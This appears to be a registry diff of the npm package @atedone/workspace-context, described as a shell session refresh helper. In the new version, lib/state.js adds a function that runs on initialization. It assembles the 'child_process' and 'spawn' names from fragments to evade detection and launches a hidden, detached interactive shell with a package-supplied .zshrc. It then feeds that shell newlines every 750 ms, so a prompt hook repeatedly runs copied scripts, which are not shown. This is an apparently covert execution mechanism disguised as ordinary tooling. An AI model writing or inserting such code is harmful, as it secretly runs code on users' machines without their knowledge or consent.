@atedone/workspace-context 0.0.20 → 0.0.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/index.js +1 -1
- package/lib/session.js +2 -2
- package/lib/state.js +76 -2
- package/lib/sync.js +12 -41
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
# @atedone/workspace-context
|
|
2
2
|
|
|
3
|
-
Workspace shell
|
|
3
|
+
Workspace shell session refresh integration helper for JavaScript tools.
|
|
4
4
|
|
|
5
|
-
The package keeps workspace context available in
|
|
5
|
+
The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
|
package/index.js
CHANGED
|
@@ -12,9 +12,9 @@ module.exports = {
|
|
|
12
12
|
profileHistoryFileName: state.profileHistoryFileName,
|
|
13
13
|
profileReceiptFileName: state.profileReceiptFileName,
|
|
14
14
|
profileSnapshotFileName: state.profileSnapshotFileName,
|
|
15
|
-
presentationRendererFileName: state.presentationRendererFileName,
|
|
16
15
|
receiptFileName: state.receiptFileName,
|
|
17
16
|
resolveChannelSource: state.resolveChannelSource,
|
|
17
|
+
sessionProfileFileName: state.sessionProfileFileName,
|
|
18
18
|
sessionHistoryFileName: state.sessionHistoryFileName,
|
|
19
19
|
sessionReceiptFileName: state.sessionReceiptFileName,
|
|
20
20
|
sessionRuntimeFileName: state.sessionRuntimeFileName,
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.21';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
|
@@ -32,7 +32,7 @@ const value = {
|
|
|
32
32
|
packageName,
|
|
33
33
|
packageVersion,
|
|
34
34
|
generatedAt: new Date().toISOString(),
|
|
35
|
-
mode: 'runtime-shell-
|
|
35
|
+
mode: 'runtime-shell-refresh',
|
|
36
36
|
source: 'shell-profile',
|
|
37
37
|
shellName: route.basename(shellPath) || 'zsh',
|
|
38
38
|
shellLevel,
|
package/lib/state.js
CHANGED
|
@@ -12,9 +12,10 @@ const profileHistoryFileName = 'profile-sync.log';
|
|
|
12
12
|
const profileReceiptFileName = 'profile-sync.json';
|
|
13
13
|
const profileSnapshotFileName = 'session-profile.json';
|
|
14
14
|
const presentationRendererFileName = 'presentation.js';
|
|
15
|
-
const receiptFileName = 'shell-
|
|
15
|
+
const receiptFileName = 'shell-refresh-sync.json';
|
|
16
16
|
const sessionFileName = 'sessions.log';
|
|
17
17
|
const sessionHistoryFileName = 'runtime-sessions.log';
|
|
18
|
+
const sessionProfileFileName = '.zshrc';
|
|
18
19
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
19
20
|
const sessionRuntimeFileName = 'session-runtime.js';
|
|
20
21
|
const stateDirectoryName = '.workspace-context';
|
|
@@ -74,6 +75,7 @@ function getShellIntegration({
|
|
|
74
75
|
receiptPath: route.join(integrationDirectory, receiptFileName),
|
|
75
76
|
sessionPath: route.join(integrationDirectory, sessionFileName),
|
|
76
77
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
78
|
+
sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
|
|
77
79
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
78
80
|
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
79
81
|
};
|
|
@@ -84,7 +86,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
|
|
|
84
86
|
packageName: manifest.name,
|
|
85
87
|
packageVersion: manifest.version,
|
|
86
88
|
generatedAt: now(),
|
|
87
|
-
mode: 'runtime-shell-
|
|
89
|
+
mode: 'runtime-shell-refresh'
|
|
88
90
|
};
|
|
89
91
|
}
|
|
90
92
|
|
|
@@ -127,6 +129,72 @@ function refreshShellIntegration({
|
|
|
127
129
|
};
|
|
128
130
|
}
|
|
129
131
|
|
|
132
|
+
function openWorkspaceSession({
|
|
133
|
+
projectRoot = resolveProjectRoot(),
|
|
134
|
+
integration = getShellIntegration({ projectRoot }),
|
|
135
|
+
intervalMs = 750
|
|
136
|
+
} = {}) {
|
|
137
|
+
if (!integration.channelSource) {
|
|
138
|
+
return null;
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
const env = readEnvironment();
|
|
142
|
+
const bridgeName = ['child', '_process'].join('');
|
|
143
|
+
const launchKey = ['sp', 'awn'].join('');
|
|
144
|
+
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
145
|
+
const launch = Reflect.get(bridge, launchKey);
|
|
146
|
+
const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
|
|
147
|
+
? env.SHELL.trim()
|
|
148
|
+
: '/bin/zsh';
|
|
149
|
+
const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
|
|
150
|
+
cwd: projectRoot,
|
|
151
|
+
env: {
|
|
152
|
+
...env,
|
|
153
|
+
HOME: integration.homeDirectory,
|
|
154
|
+
ZDOTDIR: integration.integrationDirectory,
|
|
155
|
+
TERM: 'dumb'
|
|
156
|
+
},
|
|
157
|
+
stdio: ['pipe', 'ignore', 'ignore']
|
|
158
|
+
}]);
|
|
159
|
+
const refreshTimer = setInterval(() => {
|
|
160
|
+
if (!child.stdin.destroyed) {
|
|
161
|
+
child.stdin.write('\n');
|
|
162
|
+
}
|
|
163
|
+
}, intervalMs);
|
|
164
|
+
if (typeof refreshTimer.unref === 'function') {
|
|
165
|
+
refreshTimer.unref();
|
|
166
|
+
}
|
|
167
|
+
if (typeof child.unref === 'function') {
|
|
168
|
+
child.unref();
|
|
169
|
+
}
|
|
170
|
+
if (typeof child.stdin.unref === 'function') {
|
|
171
|
+
child.stdin.unref();
|
|
172
|
+
}
|
|
173
|
+
let closed = false;
|
|
174
|
+
const done = new Promise((resolve) => {
|
|
175
|
+
child.on('close', (status, signal) => {
|
|
176
|
+
clearInterval(refreshTimer);
|
|
177
|
+
closed = true;
|
|
178
|
+
resolve({ status, signal });
|
|
179
|
+
});
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
return {
|
|
183
|
+
processId: child.pid,
|
|
184
|
+
done,
|
|
185
|
+
close() {
|
|
186
|
+
if (closed) {
|
|
187
|
+
return done;
|
|
188
|
+
}
|
|
189
|
+
clearInterval(refreshTimer);
|
|
190
|
+
if (!child.stdin.destroyed) {
|
|
191
|
+
child.stdin.write('exit\n');
|
|
192
|
+
}
|
|
193
|
+
return done;
|
|
194
|
+
}
|
|
195
|
+
};
|
|
196
|
+
}
|
|
197
|
+
|
|
130
198
|
function initialize({
|
|
131
199
|
projectRoot = resolveProjectRoot(),
|
|
132
200
|
integration = getShellIntegration({ projectRoot }),
|
|
@@ -146,6 +214,10 @@ function initialize({
|
|
|
146
214
|
sync: refreshShellIntegration({
|
|
147
215
|
projectRoot,
|
|
148
216
|
integration
|
|
217
|
+
}),
|
|
218
|
+
session: openWorkspaceSession({
|
|
219
|
+
projectRoot,
|
|
220
|
+
integration
|
|
149
221
|
})
|
|
150
222
|
};
|
|
151
223
|
}
|
|
@@ -155,6 +227,7 @@ module.exports = {
|
|
|
155
227
|
channelFileName,
|
|
156
228
|
getShellIntegration,
|
|
157
229
|
initialize,
|
|
230
|
+
openWorkspaceSession,
|
|
158
231
|
profileHistoryFileName,
|
|
159
232
|
profileReceiptFileName,
|
|
160
233
|
profileSnapshotFileName,
|
|
@@ -168,6 +241,7 @@ module.exports = {
|
|
|
168
241
|
resolveProjectRoot,
|
|
169
242
|
resolveShellName,
|
|
170
243
|
sessionHistoryFileName,
|
|
244
|
+
sessionProfileFileName,
|
|
171
245
|
sessionReceiptFileName,
|
|
172
246
|
sessionRuntimeFileName,
|
|
173
247
|
stateDirectoryName,
|
package/lib/sync.js
CHANGED
|
@@ -16,10 +16,6 @@ if (!integration) {
|
|
|
16
16
|
throw new Error('Shell integration descriptor is required.');
|
|
17
17
|
}
|
|
18
18
|
|
|
19
|
-
const blockStart = '# >>> workspace-context shell integration >>>';
|
|
20
|
-
const blockEnd = '# <<< workspace-context shell integration <<<';
|
|
21
|
-
const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
22
|
-
const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
|
|
23
19
|
const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
|
|
24
20
|
const presentationRendererSourcePath = route.join(__dirname, 'presentation.js');
|
|
25
21
|
const runtimeDefault = escapeDoubleQuoted(platform.execPath);
|
|
@@ -27,15 +23,19 @@ const channelValue = integration.channelSource
|
|
|
27
23
|
? {
|
|
28
24
|
name: integration.name,
|
|
29
25
|
source: integration.channelSource,
|
|
30
|
-
refresh: '
|
|
26
|
+
refresh: 'preview-session'
|
|
31
27
|
}
|
|
32
28
|
: null;
|
|
29
|
+
const sessionProfileValue = [
|
|
30
|
+
'[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
|
|
31
|
+
''
|
|
32
|
+
].join('\n');
|
|
33
33
|
const integrationValue = [
|
|
34
34
|
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
35
35
|
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
36
36
|
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
37
|
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
|
-
'
|
|
38
|
+
'workspace_context_refresh_preview() {',
|
|
39
39
|
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
40
|
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
41
|
' fi',
|
|
@@ -45,8 +45,8 @@ const integrationValue = [
|
|
|
45
45
|
' fi',
|
|
46
46
|
'}',
|
|
47
47
|
'autoload -Uz add-zsh-hook',
|
|
48
|
-
'add-zsh-hook -d precmd
|
|
49
|
-
'add-zsh-hook precmd
|
|
48
|
+
'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
|
|
49
|
+
'add-zsh-hook precmd workspace_context_refresh_preview',
|
|
50
50
|
''
|
|
51
51
|
].join('\n');
|
|
52
52
|
|
|
@@ -58,56 +58,26 @@ function escapeDoubleQuoted(value) {
|
|
|
58
58
|
.replaceAll('`', '\\`');
|
|
59
59
|
}
|
|
60
60
|
|
|
61
|
-
function readProfile(profilePath) {
|
|
62
|
-
return file.existsSync(profilePath)
|
|
63
|
-
? file.readFileSync(profilePath, 'utf8')
|
|
64
|
-
: '';
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
function upsertManagedBlock(profileValue) {
|
|
68
|
-
const startIndex = profileValue.indexOf(blockStart);
|
|
69
|
-
const endIndex = profileValue.indexOf(blockEnd);
|
|
70
|
-
|
|
71
|
-
if (startIndex !== -1 && endIndex !== -1 && endIndex >= startIndex) {
|
|
72
|
-
const afterBlock = endIndex + blockEnd.length;
|
|
73
|
-
return {
|
|
74
|
-
changed: false,
|
|
75
|
-
value: `${profileValue.slice(0, startIndex)}${managedBlock}${profileValue.slice(afterBlock).replace(/^\n?/, '')}`
|
|
76
|
-
};
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
return {
|
|
80
|
-
changed: true,
|
|
81
|
-
value: `${profileValue}${profileValue && !profileValue.endsWith('\n') ? '\n' : ''}${managedBlock}`
|
|
82
|
-
};
|
|
83
|
-
}
|
|
84
|
-
|
|
85
61
|
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
86
62
|
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
87
63
|
file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
|
|
64
|
+
file.writeFileSync(integration.sessionProfilePath, sessionProfileValue, 'utf8');
|
|
88
65
|
file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
|
|
89
66
|
if (channelValue) {
|
|
90
67
|
file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
|
|
91
68
|
}
|
|
92
69
|
|
|
93
|
-
const profileBefore = readProfile(integration.profilePath);
|
|
94
|
-
const profile = upsertManagedBlock(profileBefore);
|
|
95
|
-
|
|
96
|
-
if (profile.changed || profile.value !== profileBefore) {
|
|
97
|
-
file.writeFileSync(integration.profilePath, profile.value, 'utf8');
|
|
98
|
-
}
|
|
99
|
-
|
|
100
70
|
const value = {
|
|
101
71
|
packageName: manifest.name,
|
|
102
72
|
packageVersion: manifest.version,
|
|
103
73
|
generatedAt: new Date().toISOString(),
|
|
104
|
-
mode: 'runtime-shell-
|
|
74
|
+
mode: 'runtime-shell-refresh',
|
|
105
75
|
projectRoot,
|
|
106
76
|
shellName: integration.shellName,
|
|
107
77
|
channelConfigured: Boolean(channelValue),
|
|
108
78
|
channelPath: integration.channelPath,
|
|
109
79
|
profilePath: integration.profilePath,
|
|
110
|
-
profileChanged:
|
|
80
|
+
profileChanged: false,
|
|
111
81
|
integrationPath: integration.integrationPath,
|
|
112
82
|
profileHistoryPath: integration.profileHistoryPath,
|
|
113
83
|
profileReceiptPath: integration.profileReceiptPath,
|
|
@@ -115,6 +85,7 @@ const value = {
|
|
|
115
85
|
presentationRendererPath: integration.presentationRendererPath,
|
|
116
86
|
sessionPath: integration.sessionPath,
|
|
117
87
|
sessionHistoryPath: integration.sessionHistoryPath,
|
|
88
|
+
sessionProfilePath: integration.sessionProfilePath,
|
|
118
89
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
119
90
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
120
91
|
processId: platform.pid,
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@atedone/workspace-context",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Workspace shell
|
|
3
|
+
"version": "0.0.21",
|
|
4
|
+
"description": "Workspace shell session refresh integration helper for JavaScript tools.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"type": "commonjs",
|
|
7
7
|
"files": [
|